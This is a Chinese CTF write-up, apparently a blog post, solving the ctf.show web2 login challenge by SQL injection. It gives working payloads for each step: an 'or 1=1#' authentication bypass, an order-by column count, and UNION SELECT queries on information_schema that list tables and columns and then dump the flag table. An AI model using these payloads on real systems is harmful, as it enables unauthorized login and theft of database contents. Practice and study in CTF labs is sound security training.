第四天基础sql注入

ctf.show_web2

    

题目进来是这样的一个网页,这里我们要知道一个知识点,sql注入是关于数据库的一种漏洞所产生的,而对于一般判断登陆时。看下这篇文章你会有一个基础概念。

SQL注入(一)—— sql手动注入实操_Genevieve_xiao的博客-CSDN博客

 

 

1' or 1=1# 万能试金石

因此你输入进去你会发现会变成 select *from user where id='1' or 1=1#'

那么就可以满足后面1=1永远成立,那么就会返回true,就能正确登录,#是注释所以后面全部可以不看。1后面的’与前面‘进行闭合,有些是分字符型和数字型的,做多了你自己就可以发现。所以,这登录存在了sql漏洞,我们能用联合语句进行查询数据库操作,需要数据库知识,请提前学习。

第一步, 判断注入点
用户名输入以上payload, 使SQL恒成立, 这里密码不用输,因为它为了简单只需要账户就行,但正常生活中肯定不是这样的,这里就是提供一个思路。

这里首先我们要知道表名,要知道有哪些表,找到密码储存的地方。

所以首先来一个脱库

获取当前使用的数据库, 盲猜flag就在当前使用的数据库中, 用户名输入以下payload, 密码不用输

a' union select 1,database(),3 #

这个为什么是三个,这个就需要用 ' or 1=1 order by 3#来进行判断

order by是mysql中对查询数据进行排序的方法,也可以通过是否回显判断有几个

然后执行payload后出现

在这里插入图片描述

web2就是当前数据库

2.获取数据库web2中的表

a'  union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3#

在这里插入图片描述 

3.获取表flag中的字段, 很明显flag就在flag表中

a'  union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='web2' and table_name='flag' ),3#

在这里插入图片描述

4.获取表flag中的字段, 很明显flag就在flag表中

a' union select 1,(select flag from flag),3 #

得到flag 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值